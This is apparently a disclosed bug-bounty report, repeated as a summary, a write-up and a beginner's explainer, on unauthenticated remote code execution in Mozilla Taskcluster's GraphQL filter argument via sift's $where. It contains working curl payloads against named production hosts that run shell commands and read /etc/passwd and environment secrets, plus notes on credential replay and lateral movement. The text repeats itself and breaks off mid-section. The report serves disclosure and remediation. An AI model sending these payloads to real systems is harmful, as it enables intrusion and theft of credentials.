Unauthenticated RCE in Taskcluster web-server via GraphQL filter argument (sift $where)
The GraphQL endpoint passed a client-supplied filter object directly into the sift library, which compiled a $where string into executable JavaScript. An unauthenticated attacker could run shell commands and read environment variables, exposing database credentials, access tokens and OAuth secrets.
- Triaged in 1 hour
- Fixed in 12 days
- Paid in 32 days
- Disclosed after 2 months
Summary
The public GraphQL endpoint at /graphql allows an unauthenticated caller to execute arbitrary JavaScript inside the web-server's Node.js process. The query argument filter is a free-form JSON object that the server passes directly into the sift library. The version in use (sift 17.1.3) compiles a $where string into a function using new Function and executes it.
Code execution has been confirmed, including the ability to run shell commands as the node user and read the full process environment. That environment contains PostgreSQL credentials, the Taskcluster deployment access token, Auth0 and GitHub OAuth client secrets, Pulse credentials, and database column-encryption keys. Exploiting this endpoint effectively compromises the entire instance, including the one running Firefox CI.
No authentication, token, or special headers are required. This can be exploited with a single POST request.
Technical Details
Root Cause Chain
1. The filter goes straight into sift. From services/web-server/src/utils/sift.js:
import sift from 'sift';
export default (filter, array) => {
if (!array) return [];
return filter ? array.filter(sift(filter)) : array;
};
Whatever JSON the client sends as filter becomes sift(filter) with the default operator set. Nothing is stripped or validated.
2. sift turns a $where string into code. From sift 17.1.3:
const $where = (params, ownerQuery, options) => {
let test;
if (isFunction(params)) {
test = params;
} else if (!process.env.CSP_ENABLED) {
test = new Function("obj", "return " + params); // <-- string becomes code
} else {
throw new Error(`In CSP mode, sift does not support strings in "$where" condition`);
}
return new EqualsOperation((b) => test.bind(b)(b), ownerQuery, options);
};
CSP_ENABLED is not set on the deployment (confirmed live: a string $where executes instead of throwing the CSP error), so any string passed is wrapped as new Function("obj", "return " + myString) and called once for each element of the array being filtered.
3. The endpoint is anonymous and the resolver still runs. services/web-server/src/servers/credentials.js calls next() when there is no Authorization header, allowing the request to continue as an anonymous caller. The filter reaches sift through the normal resolver and loader path, for example:
Query.expandScopes(scopes, filter)
-> loaders/scopes.js : auth.expandScopes({ scopes }) then sift(filter, expandedScopes)
The same pattern exists for roles, listRoleIds, hookGroups, hooks, and currentScopes.
4. The anonymous role has the required scopes. On firefox-ci-tc the anonymous role grants auth:expand-scopes, auth:list-roles, auth:current-scopes, and hooks:list-hooks:*. The upstream call inside the loader succeeds for an anonymous caller, sift runs on the result, and the $where function fires.
The expandScopes resolver is the most reliable trigger. The upstream handler echoes back the scopes sent, so passing ["assume:anonymous"] guarantees a non-empty array without depending on any roles or hooks existing on the instance.
The thrown error message is returned to the client because services/web-server/src/servers/formatError.js forwards err.message, providing a clean output channel.
Steps To Reproduce
All requests are unauthenticated. No Authorization header is required.
1. Prove code execution (harmless, computed marker)
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}'
Response:
"errors":[{"message":"RCE_42_object", ... }]
6*7 was computed on the server and typeof process is object, confirming this is running in the Node.js process, not parsed as data.
2. Run a command
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(process.getBuiltinModule(\"child_process\").execSync(\"id\").toString())})()"}}}'
Response:
uid=1000(node) gid=1000(node) groups=1000(node)
cat /etc/passwd over the same path returns:
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
3. Read the environment
The same technique reads process.env. Here is a redacted slice from firefox-ci-tc. Actual secret material has been stripped but enough structure is retained to show what is present:
NODE_ENV=production
NODE_VERSION=24.15.0
TASKCLUSTER_ROOT_URL=https://firefox-ci-tc.services.mozilla.com
TASKCLUSTER_CLIENT_ID=static/taskcluster/web-server
TASKCLUSTER_ACCESS_TOKEN=<redacted, 65 chars>
READ_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
WRITE_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
DB_CRYPTO_KEYS=[{"algo":"aes-256","id":"azure","key":"<redacted>"}]
PULSE_USERNAME=firefoxcitc-taskcluster-web-server-v2
PULSE_PASSWORD=<redacted, 32 chars>
UI_LOGIN_STRATEGIES={"mozilla-auth0":{"clientId":"████████","clientSecret":"<redacted>","domain":"auth.mozilla.auth0.com"}}
ERROR_CONFIG={"dsn":"https://<redacted>@o1069899.ingest.sentry.io/6459390","reporter":"SentryReporter"}
SESSION_SECRET=FIXME
community-tc returns the equivalent set with its own database credentials, access token, Pulse password, and a GitHub OAuth clientSecret. On both instances SESSION_SECRET is the literal string FIXME.
A self-contained Python proof of concept is available. --check performs the harmless confirmation in step 1 and is safe to run anywhere. --cmd "id" --confirm demonstrates command execution. --dump-env --confirm returns the environment, and --target points it at another instance.
Confirmed Instances
firefox-ci-tc.services.mozilla.com(primary target)community-tc.services.mozilla.com(also confirmed vulnerable)
Impact
Impact
This is anonymous, internet-facing code execution on the deployment that builds Firefox. The environment variables exposed turn this into total compromise without any additional exploitation:
Immediate Access
- Database credentials:
READ_DB_URLandWRITE_DB_URLprovide live PostgreSQL credentials for the Taskcluster database - Deployment access token:
TASKCLUSTER_ACCESS_TOKENis the web-server's own deployment client. Combined with database access, an attacker controls the entire Taskcluster instance - OAuth secrets:
UI_LOGIN_STRATEGIEScontains the Auth0 client secret onfirefox-ci-tcand GitHub OAuth client secret oncommunity-tc, enabling attacks on the login flow - Broken session security:
SESSION_SECRETis set toFIXME, allowing session cookies to be forged offline independently of this vulnerability - Database encryption keys:
DB_CRYPTO_KEYSdecrypts encrypted database columns - Message queue credentials:
PULSE_PASSWORDprovides access to the Pulse message broker
Attack Surface
- Command execution as node user: Full shell access inside the pod
- Internal network access: The internal Kubernetes service network is reachable (
auth,queue,hooks,secrets,object,worker-managerall resolve from the environment), providing a foothold for lateral movement - API credential replay:
TASKCLUSTER_ACCESS_TOKENauthenticates as thestatic/taskcluster/web-serverclient and can be replayed directly against the Taskcluster API, including the secrets service at/api/secrets/v1
Scope of Compromise
This vulnerability has been validated on both firefox-ci-tc and community-tc. The impact chain is: one unauthenticated POST to /graphql → cluster-level credential access → full Taskcluster instance compromise.
Recommended Fixes
In order of preference:
- Remove sift from untrusted input path: Do not run sift on the raw
filter. Map the GraphQL filter onto an allowlist of fields and comparison operators and apply filtering directly, or push filtering down to the upstream service - Restrict sift operations: If sift must be used, build the query tester with a restricted operations set that excludes
$where, and reject any$-prefixed key not explicitly supported before sift processes it - Input validation: Reject
$whereat the validation layer and givefiltera real input type instead of an open JSON scalar
Setting process.env.CSP_ENABLED makes sift throw on a string $where, but this is a fragile mitigation, not a proper fix.
Additional Hardening
- Set a proper
SESSION_SECRET(currentlyFIXMEin production) - Consider running the web-server under a sandbox that blocks spawning child processes, limiting the impact of future JavaScript execution vulnerabilities
Credential Rotation Required
The exact credential values were recovered during testing but have been intentionally excluded from this report to prevent their exposure to HackerOne and all parties with access to this ticket. All credentials are identifiable from the variable names provided above.
Treat the entire web-server environment on both firefox-ci-tc and community-tc as compromised and rotate:
WRITE_DB_URLandREAD_DB_URL(PostgreSQL usertaskcluster_web_server)TASKCLUSTER_ACCESS_TOKEN(clientstatic/taskcluster/web-server)UI_LOGIN_STRATEGIES: Auth0clientSecretonfirefox-ci-tc, GitHub OAuthclientSecretoncommunity-tcDB_CRYPTO_KEYS(aes-256, key idazure)PULSE_PASSWORD(usersfirefoxcitc-taskcluster-web-server-v2/communitytc-taskcluster-web-server-v2)ERROR_CONFIGSentry DSNsSESSION_SECRET(currentlyFIXME; set a real value)
The exact credential values can be provided over an encrypted channel if needed for verification purposes. SHA-256 fingerprints of any specific credential can be included in this report if proof of access is required.
Upstream Impact
This code exists in the taskcluster main branch, so any organization running Taskcluster is exposed. An upstream security advisory should accompany the fix.
Context
Taskcluster is Mozilla's task execution platform, and the deployment at firefox-ci-tc.services.mozilla.com is the instance that builds Firefox. The web-server component exposes a public GraphQL endpoint at /graphql. Several of its queries accept a filter argument, a free-form JSON object that the server uses to narrow down the array of results it returns. The report describes what happens when that argument is passed straight into the sift library, which in the version deployed compiles a $where string into executable JavaScript.
The result is unauthenticated remote code execution inside the web-server's Node.js process, reachable with a single POST request and no token or special header.
Setup
The researcher needed no account, no token and no special headers. The only preconditions described are properties of the deployment itself:
- The
siftversion in use is 17.1.3, which supports$wherestrings. - The environment variable
CSP_ENABLEDis not set on the deployment. The researcher confirmed this live: a string$whereexecutes instead of throwing the CSP error. - The
anonymousrole onfirefox-ci-tcgrantsauth:expand-scopes,auth:list-roles,auth:current-scopesandhooks:list-hooks:*, so the upstream calls made by the loaders succeed for an anonymous caller and sift is given a non-empty array to filter.
A second instance, community-tc.services.mozilla.com, was also confirmed vulnerable. The report also mentions a self-contained Python proof of concept with --check, --cmd, --dump-env, --confirm and --target options, but its code is not reproduced in the report.
Finding it
The chain has four links, each of which the researcher documents with the relevant source.
1. The filter goes straight into sift. From services/web-server/src/utils/sift.js:
import sift from 'sift';
export default (filter, array) => {
if (!array) return [];
return filter ? array.filter(sift(filter)) : array;
};
Whatever JSON the client sends as filter becomes sift(filter) with the default operator set. Nothing is stripped or validated.
2. sift turns a $where string into code. From sift 17.1.3:
const $where = (params, ownerQuery, options) => {
let test;
if (isFunction(params)) {
test = params;
} else if (!process.env.CSP_ENABLED) {
test = new Function("obj", "return " + params); // <-- string becomes code
} else {
throw new Error(`In CSP mode, sift does not support strings in "$where" condition`);
}
return new EqualsOperation((b) => test.bind(b)(b), ownerQuery, options);
};
Because CSP_ENABLED is not set, any string passed as $where is wrapped as new Function("obj", "return " + myString) and called once for each element of the array being filtered.
3. The endpoint is anonymous and the resolver still runs. services/web-server/src/servers/credentials.js calls next() when there is no Authorization header, so the request continues as an anonymous caller. The filter reaches sift through the normal resolver and loader path, for example:
Query.expandScopes(scopes, filter)
-> loaders/scopes.js : auth.expandScopes({ scopes }) then sift(filter, expandedScopes)
The same pattern exists for roles, listRoleIds, hookGroups, hooks and currentScopes.
4. The anonymous role has the required scopes. The upstream call inside the loader succeeds for an anonymous caller, sift runs on the result, and the $where function fires.
The expandScopes resolver is the most reliable trigger. The upstream handler echoes back the scopes sent, so passing ["assume:anonymous"] guarantees a non-empty array without depending on any roles or hooks existing on the instance. The thrown error message is returned to the client because services/web-server/src/servers/formatError.js forwards err.message, which gives a clean output channel for whatever the injected code wants to return.
Exploitation
All requests below are unauthenticated. No Authorization header is required.
Step 1: prove code execution with a computed marker
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}'
The $where value is an immediately invoked function that throws an error whose message concatenates a literal, the result of 6*7, and typeof process. The response was:
"errors":[{"message":"RCE_42_object", ... }]
6*7 was computed on the server and typeof process is object, confirming the code ran in the Node.js process rather than being parsed as data. This step is harmless and the report describes it as safe to run anywhere.
Step 2: run a command
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(process.getBuiltinModule(\"child_process\").execSync(\"id\").toString())})()"}}}'
Here the injected function reaches child_process through process.getBuiltinModule, runs id synchronously and throws the output as the error message. The response was:
uid=1000(node) gid=1000(node) groups=1000(node)
Running cat /etc/passwd over the same path returned:
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
Step 3: read the environment
The same technique reads process.env. The report shows a redacted slice from firefox-ci-tc, with secret material stripped but enough structure retained to show what is present:
NODE_ENV=production
NODE_VERSION=24.15.0
TASKCLUSTER_ROOT_URL=https://firefox-ci-tc.services.mozilla.com
TASKCLUSTER_CLIENT_ID=static/taskcluster/web-server
TASKCLUSTER_ACCESS_TOKEN=<redacted, 65 chars>
READ_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
WRITE_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
DB_CRYPTO_KEYS=[{"algo":"aes-256","id":"azure","key":"<redacted>"}]
PULSE_USERNAME=firefoxcitc-taskcluster-web-server-v2
PULSE_PASSWORD=<redacted, 32 chars>
UI_LOGIN_STRATEGIES={"mozilla-auth0":{"clientId":"████████","clientSecret":"<redacted>","domain":"auth.mozilla.auth0.com"}}
ERROR_CONFIG={"dsn":"https://<redacted>@o1069899.ingest.sentry.io/6459390","reporter":"SentryReporter"}
SESSION_SECRET=FIXME
community-tc returns the equivalent set with its own database credentials, access token, Pulse password and a GitHub OAuth clientSecret. On both instances SESSION_SECRET is the literal string FIXME.
Root cause
The mistake is architectural: a client-controlled JSON object is handed to a query library that supports executable operators. sift's $where operator exists to accept a function, and when given a string it falls back to new Function unless CSP_ENABLED is set. The web-server's wrapper in utils/sift.js neither validates the filter nor restricts the operator set, so the fallback is reachable from the network.
Two design decisions turn a library quirk into an unauthenticated RCE. First, the credentials middleware calls next() when no Authorization header is present, so anonymous callers reach resolvers. Second, the anonymous role on the deployment carries the scopes the loaders need, so the upstream call succeeds and sift is actually invoked on a non-empty array. The expandScopes resolver makes this deterministic because the upstream handler echoes back the scopes sent, so ["assume:anonymous"] always yields a non-empty array.
Finally, formatError.js forwards err.message to the client. That is what makes the injected code's return value readable, but it is not what makes the bug exploitable: the code runs regardless.
Impact
The report describes anonymous, internet-facing code execution on the deployment that builds Firefox, and argues that the exposed environment variables turn it into total compromise without further exploitation:
- Database credentials:
READ_DB_URLandWRITE_DB_URLprovide live PostgreSQL credentials for the Taskcluster database. - Deployment access token:
TASKCLUSTER_ACCESS_TOKENis the web-server's own deployment client. Combined with database access, an attacker controls the entire Taskcluster instance. - OAuth secrets:
UI_LOGIN_STRATEGIEScontains the Auth0 client secret onfirefox-ci-tcand the GitHub OAuth client secret oncommunity-tc, enabling attacks on the login flow. - Broken session security:
SESSION_SECRETis set toFIXME, allowing session cookies to be forged offline independently of this vulnerability. - Database encryption keys:
DB_CRYPTO_KEYSdecrypts encrypted database columns. - Message queue credentials:
PULSE_PASSWORDprovides access to the Pulse message broker.
On attack surface, the report notes full shell access inside the pod as the node user, reachability of the internal Kubernetes service network (auth, queue, hooks, secrets, object and worker-manager all resolve from the environment) as a foothold for lateral movement, and the ability to replay TASKCLUSTER_ACCESS_TOKEN directly against the Taskcluster API as the static/taskcluster/web-server client, including the secrets service at /api/secrets/v1.
The impact chain is summarised as one unauthenticated POST to /graphql, then cluster-level credential access, then full Taskcluster instance compromise. The vulnerability was validated on both firefox-ci-tc and community-tc. Because the code exists in the taskcluster main branch, the report states that any organisation running Taskcluster is exposed and that an upstream security advisory should accompany the fix.
Fix
The report recommends, in order of preference:
- Remove sift from the untrusted input path. Do not run sift on the raw
filter. Map the GraphQL filter onto an allowlist of fields and comparison operators and apply filtering directly, or push filtering down to the upstream service. - Restrict sift operations. If sift must be used, build the query tester with a restricted operations set that excludes
$where, and reject any$-prefixed key not explicitly supported before sift processes it. - Input validation. Reject
$whereat the validation layer and givefiltera real input type instead of an open JSON scalar.
Setting process.env.CSP_ENABLED makes sift throw on a string $where, but the report calls this a fragile mitigation, not a proper fix.
Additional hardening suggested: set a proper SESSION_SECRET (currently FIXME in production), and consider running the web-server under a sandbox that blocks spawning child processes, limiting the impact of future JavaScript execution vulnerabilities.
The report also lists credentials to rotate, treating the entire web-server environment on both instances as compromised: WRITE_DB_URL and READ_DB_URL (PostgreSQL user taskcluster_web_server), TASKCLUSTER_ACCESS_TOKEN (client static/taskcluster/web-server), the Auth0 clientSecret on firefox-ci-tc and the GitHub OAuth clientSecret on community-tc, DB_CRYPTO_KEYS (aes-256, key id azure), PULSE_PASSWORD (users firefoxcitc-taskcluster-web-server-v2 and communitytc-taskcluster-web-server-v2), the ERROR_CONFIG Sentry DSNs, and SESSION_SECRET. The exact values were deliberately excluded from the report; the researcher offered to provide them over an encrypted channel or as SHA-256 fingerprints if proof of access were required.
Variants to test
The report names several other resolvers that follow the same resolver and loader pattern and therefore accept the same filter: roles, listRoleIds, hookGroups, hooks and currentScopes. The report names these resolvers as following the same pattern; it does not confirm exploitation through them. A positive result looks like the computed marker from step 1 coming back in the errors[].message field, or command output if the injected function throws it.
Hunting notes
The report notes that the exact secret values were withheld and offered over an encrypted channel.
What happened, in plain words
Mozilla runs a service called Taskcluster. It is the machinery that carries out the jobs needed to build Firefox: compiling code, running tests, packaging files. One of its parts, the web-server, has a public web address that anyone on the internet can talk to. That address is firefox-ci-tc.services.mozilla.com, and it answers questions at a path called /graphql.
A security researcher found that this public address would accept a specially crafted message and, in response, run JavaScript code of the sender's choosing on Mozilla's own server. No account, no password, no login of any kind was needed. One message was enough.
In this case the attacker could run commands, read files and read the server's configuration. That configuration turned out to contain database passwords, an access token for the whole Taskcluster deployment, login secrets for Auth0 and GitHub, message-queue credentials and database encryption keys. The report argues this gives control of the entire system, including the instance that builds Firefox.
This is called remote code execution, usually shortened to RCE. "Remote" means the attacker is somewhere else on the network, not sitting at the machine. "Code execution" means their instructions run on the victim's computer.
Some background before the details
A few ideas come up constantly below, so here they are from zero.
Server and client. A server is a computer that waits for requests and answers them. A client is the program making the request, usually your browser. When you open a website, your browser is the client and the website's computer is the server.
API. An API is a way for one program to ask another program to do something, with a fixed set of questions it is allowed to ask. Think of a restaurant: the menu lists what you can order, and the kitchen only makes those dishes. An API is the menu plus the kitchen behind it. Here the API is reachable over the internet at /graphql.
GraphQL. GraphQL is a style of API where the client sends one structured question describing exactly which pieces of data it wants, and the server replies with just those pieces. The question is written in a small query language, and the reply comes back as JSON.
JSON. JSON is a plain text format for structured data, built from curly braces, square brackets, names and values. It is how most web APIs exchange information. A JSON object looks like {"name": "value"}.
Endpoint. An endpoint is one specific address on a server that accepts requests, for example /graphql. It is like one particular counter in a large building.
POST request. When a browser loads a page it usually sends a GET request, meaning "give me this". A POST request means "here is some data, do something with it". Sending a filled-in form is a POST. The attack here is a single POST.
Header. Headers are small labelled lines attached to a request, carrying extra information such as what format the data is in. Content-Type: application/json is a header saying "the body of this request is JSON".
Token and cookie. A token is a short secret string that proves who you are, like a wristband at an event: show it and you are let in without explaining yourself again. A cookie is a small piece of data a website stores in your browser and gets back on each visit, commonly used to remember that you are logged in. Both are secrets: anyone who copies one can pretend to be you.
Authentication and authorisation. Authentication is proving who you are. Authorisation is what you are then allowed to do. A request with no proof of identity is called unauthenticated, or anonymous.
Role and scope. A role is a named bundle of permissions. A scope is one single permission, written as a short label such as auth:list-roles. Taskcluster has a role literally called anonymous, which is what an unidentified visitor gets.
Environment variables. When a program starts, the operating system hands it a list of named settings called environment variables. They look like NAME=value lines. Programs commonly keep configuration there, including passwords and keys, because it is convenient. The catch is that anyone who can run code inside the program can usually read that whole list.
Node.js and JavaScript. Node.js is a program that runs JavaScript outside a browser, typically on servers. JavaScript is the language of web pages, but with Node.js it can also open files, run commands and talk to databases.
Library and dependency. A library is ready-made code that a project reuses instead of writing everything itself. A dependency is a library a project relies on. sift is such a library, used for filtering lists of data.
The vulnerability class: code injection. Code injection means a program takes text supplied by an outsider and treats it as instructions rather than as plain data. The everyday comparison is a form where you write your name, and the clerk reads your name out loud as an order to the kitchen. You meant it as a label; the system treated it as a command. The fix is always the same idea: keep data and instructions strictly apart.
new Function. In JavaScript, new Function("obj", "return " + text) builds a brand-new function from a piece of text and then that function can be called. It is the equivalent of handing someone a written note and saying "do exactly what this says". If the text comes from a stranger, the stranger is now writing your program.
CSP. Content Security Policy is a browser safety setting meant to block certain kinds of injected code. The sift library checks an environment variable called CSP_ENABLED and refuses to build functions from text when it is set.
curl. curl is a command-line tool for sending web requests. It lets you craft a request by hand, which is exactly what you need to test an API.
Shell command. A shell is the text interface to an operating system. Commands like id (show which user you are) or cat /etc/passwd (print a system file listing user accounts) are shell commands. Running one on someone else's server is a serious step up from merely reading data.
Pod and Kubernetes. A pod is a small isolated unit in which a containerised application runs, managed by software called Kubernetes. Think of a shipping container: self-contained, but sitting on a shared ship with a shared internal network.
Lateral movement. Once inside one machine, an attacker often uses it to reach other machines on the same internal network. That stepping sideways is called lateral movement.
Proof of concept (PoC). A small, self-contained script that demonstrates a vulnerability, so others can confirm it without guesswork.
Credential rotation. Replacing every password, token and key that may have been exposed with a fresh one, so the old copies stop working.
Context: what the product is and what the feature does
Taskcluster is Mozilla's task execution platform. A platform here means shared machinery that many jobs use. The deployment at firefox-ci-tc.services.mozilla.com is the instance that builds Firefox, so it is not a side system: it is on the path that produces the browser.
The web-server component is the part that answers web requests. It exposes a public GraphQL endpoint at /graphql. Several of its queries accept an argument called filter. An argument is an input you attach to a query, like a search box next to a list. filter is a free-form JSON object that the server uses to narrow down the array of results it returns. An array is simply a list. So filter says "of all these items, give me back only the ones matching this description".
The report describes what happens when that argument is passed straight into the sift library. sift is a filtering library: you give it a description and a list, and it hands back the matching items. In the version deployed, sift also understands a special operator called $where, and when $where is given a piece of text, sift turns that text into executable JavaScript.
The result is unauthenticated remote code execution inside the web-server's Node.js process, reachable with a single POST request and no token or special header.
Setup: what the researcher needed before starting
The researcher needed no account, no token and no special headers. That is worth pausing on: normally, testing a service means registering, logging in, and finding your way around. Here the only preconditions described are properties of the deployment itself, meaning things about how Mozilla had configured it:
- The
siftversion in use is 17.1.3, which supports$wherestrings. Version numbers matter because libraries change over time; this particular version has the behaviour that turns text into code. - The environment variable
CSP_ENABLEDis not set on the deployment. Remember thatsiftchecks this variable and refuses to build functions from text when it is present. Because it is absent, the safety refusal never happens. The researcher confirmed this live: a string$whereexecutes instead of throwing the CSP error. - The
anonymousrole onfirefox-ci-tcgrantsauth:expand-scopes,auth:list-roles,auth:current-scopesandhooks:list-hooks:*. These are scopes, the individual permissions described earlier. Because an unidentified visitor holds them, the upstream calls made by the loaders succeed for an anonymous caller, andsiftis given a non-empty array to filter. This last point is subtle but essential: if the list were empty, there would be nothing to filter, and the injected code would never be called.
A second instance, community-tc.services.mozilla.com, was also confirmed vulnerable. The report also mentions a self-contained Python proof of concept with --check, --cmd, --dump-env, --confirm and --target options, but its code is not reproduced in the report.
Finding it: the chain of four links
The chain has four links, each of which the researcher documents with the relevant source. A chain here means a sequence where each step depends on the previous one; break any link and the attack fails.
1. The filter goes straight into sift. From services/web-server/src/utils/sift.js:
import sift from 'sift';
export default (filter, array) => {
if (!array) return [];
return filter ? array.filter(sift(filter)) : array;
};
Line by line:
import sift from 'sift';loads thesiftlibrary so the file can use it.export default (filter, array) => {defines a small function that takes two things: thefilterdescription and thearray(the list) to filter.if (!array) return [];if there is no list at all, return an empty list. Nothing to do.return filter ? array.filter(sift(filter)) : array;if a filter was supplied, run the list throughsift(filter)and keep the matches; otherwise return the list untouched.
The key sentence in the report is: whatever JSON the client sends as filter becomes sift(filter) with the default operator set. Nothing is stripped or validated. In plain terms, the wrapper passes the stranger's note straight to the kitchen without reading it first.
2. sift turns a $where string into code. From sift 17.1.3:
const $where = (params, ownerQuery, options) => {
let test;
if (isFunction(params)) {
test = params;
} else if (!process.env.CSP_ENABLED) {
test = new Function("obj", "return " + params); // <-- string becomes code
} else {
throw new Error(`In CSP mode, sift does not support strings in "$where" condition`);
}
return new EqualsOperation((b) => test.bind(b)(b), ownerQuery, options);
};
Line by line:
const $where = (params, ownerQuery, options) => {defines the handler for the$whereoperator.paramsis whatever the client put after$where.let test;prepares a variable to hold the test that will be applied to each item.if (isFunction(params)) { test = params; }if the client somehow supplied an actual function, use it directly. Over the network, JSON cannot carry functions, so this branch is not the interesting one.} else if (!process.env.CSP_ENABLED) {otherwise, check the environment variable. IfCSP_ENABLEDis not set, take this branch.test = new Function("obj", "return " + params);build a new function from the client's text. The comment in the source says it plainly: string becomes code.} else { throw new Error(...) }ifCSP_ENABLEDis set, refuse with an error instead.return new EqualsOperation((b) => test.bind(b)(b), ownerQuery, options);wrap the test so it is applied to each itembin the list.
Because CSP_ENABLED is not set, any string passed as $where is wrapped as new Function("obj", "return " + myString) and called once for each element of the array being filtered. Once per element matters: the code runs as soon as there is at least one item to check.
3. The endpoint is anonymous and the resolver still runs. services/web-server/src/servers/credentials.js calls next() when there is no Authorization header, so the request continues as an anonymous caller. next() is the signal in this kind of server code meaning "carry on to the next step". In other words, the check for credentials does not stop the request; it waves it through as a guest.
The filter reaches sift through the normal resolver and loader path, for example:
Query.expandScopes(scopes, filter)
-> loaders/scopes.js : auth.expandScopes({ scopes }) then sift(filter, expandedScopes)
Read this as a route: a query called expandScopes arrives with scopes and filter. It goes to a loader file, which first asks the upstream service to expand the scopes, and then runs sift over the result. A resolver is the piece of code that answers a particular query; a loader is the piece that fetches the data the resolver needs. The same pattern exists for roles, listRoleIds, hookGroups, hooks and currentScopes.
4. The anonymous role has the required scopes. The upstream call inside the loader succeeds for an anonymous caller, sift runs on the result, and the $where function fires. This is the link that makes the whole chain work: without permission for the guest, the loader would fail and sift would never see a list.
The expandScopes resolver is the most reliable trigger. The upstream handler echoes back the scopes sent, so passing ["assume:anonymous"] guarantees a non-empty array without depending on any roles or hooks existing on the instance. Echoing back means it returns what you gave it, like a mirror. That is a neat trick: you supply the list yourself, so you never have to hope the instance happens to contain data.
The thrown error message is returned to the client because services/web-server/src/servers/formatError.js forwards err.message, which gives a clean output channel for whatever the injected code wants to return. In everyday terms, the server's error report becomes a printer for the attacker's results.
Exploitation: the three steps
All requests below are unauthenticated. No Authorization header is required.
Step 1: prove code execution with a computed marker
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}'
Line by line:
curl -ssends a web request. The-smeans silent: do not print progress noise, just the answer.https://firefox-ci-tc.services.mozilla.com/graphqlis the address being contacted: the public GraphQL endpoint.-H 'Content-Type: application/json'attaches a header telling the server the body is JSON.--data '...'is the body of the POST request, the actual message.- Inside the body,
"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}"is the GraphQL question. It declares a variable$fof typeJSONand asks forexpandScopes, passing the scopeassume:anonymousand using$fas the filter. "variables":{"f":{"$where":"..."}}supplies the value of$f: a JSON object whose only key is$where, holding a piece of text.- The text itself,
(function(){throw new Error("RCE_"+(6*7)+"_"+(typeof process))})(), is a function that runs immediately and throws an error. The error message is built by gluing together the literalRCE_, the result of6*7, an underscore, andtypeof process.
Why this step: it is harmless. It computes something and reports it back, without touching files or running commands. If the server returns the computed value, the text was executed as code rather than merely stored as data. The response was:
"errors":[{"message":"RCE_42_object", ... }]
6*7 was computed on the server and typeof process is object, confirming the code ran in the Node.js process rather than being parsed as data. 42 is arithmetic the server did; object is the server describing its own runtime. Neither could appear if the text had been treated as a harmless string. This step is harmless and the report describes it as safe to run anywhere.
Step 2: run a command
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(process.getBuiltinModule(\"child_process\").execSync(\"id\").toString())})()"}}}'
The request is shaped exactly like step 1; only the injected text changes. Line by line for the new part:
process.getBuiltinModule("child_process")asks Node.js for its built-in module that can start other programs. This is the door from JavaScript to the operating system..execSync("id")runs the shell commandidand waits for it to finish.idreports which user the process is running as..toString()turns the command's output into text.throw new Error(...)wraps that text in an error, which the server then sends back to the client.
Why this step: step 1 proved that arithmetic ran. This step proves that the operating system itself obeys, which is a far stronger claim. The response was:
uid=1000(node) gid=1000(node) groups=1000(node)
That output says the commands run as a user called node, with user id 1000. Running cat /etc/passwd over the same path returned:
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
/etc/passwd is a standard file listing the accounts on a Linux system. Reading it shows the attacker can read files, not just run commands, and it shows which other accounts exist on the machine.
Step 3: read the environment
The same technique reads process.env, the environment variables described earlier. The report shows a redacted slice from firefox-ci-tc, with secret material stripped but enough structure retained to show what is present:
NODE_ENV=production
NODE_VERSION=24.15.0
TASKCLUSTER_ROOT_URL=https://firefox-ci-tc.services.mozilla.com
TASKCLUSTER_CLIENT_ID=static/taskcluster/web-server
TASKCLUSTER_ACCESS_TOKEN=<redacted, 65 chars>
READ_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
WRITE_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
DB_CRYPTO_KEYS=[{"algo":"aes-256","id":"azure","key":"<redacted>"}]
PULSE_USERNAME=firefoxcitc-taskcluster-web-server-v2
PULSE_PASSWORD=<redacted, 32 chars>
UI_LOGIN_STRATEGIES={"mozilla-auth0":{"clientId":"████████","clientSecret":"<redacted>","domain":"auth.mozilla.auth0.com"}}
ERROR_CONFIG={"dsn":"https://<redacted>@o1069899.ingest.sentry.io/6459390","reporter":"SentryReporter"}
SESSION_SECRET=FIXME
What each line means, in plain words:
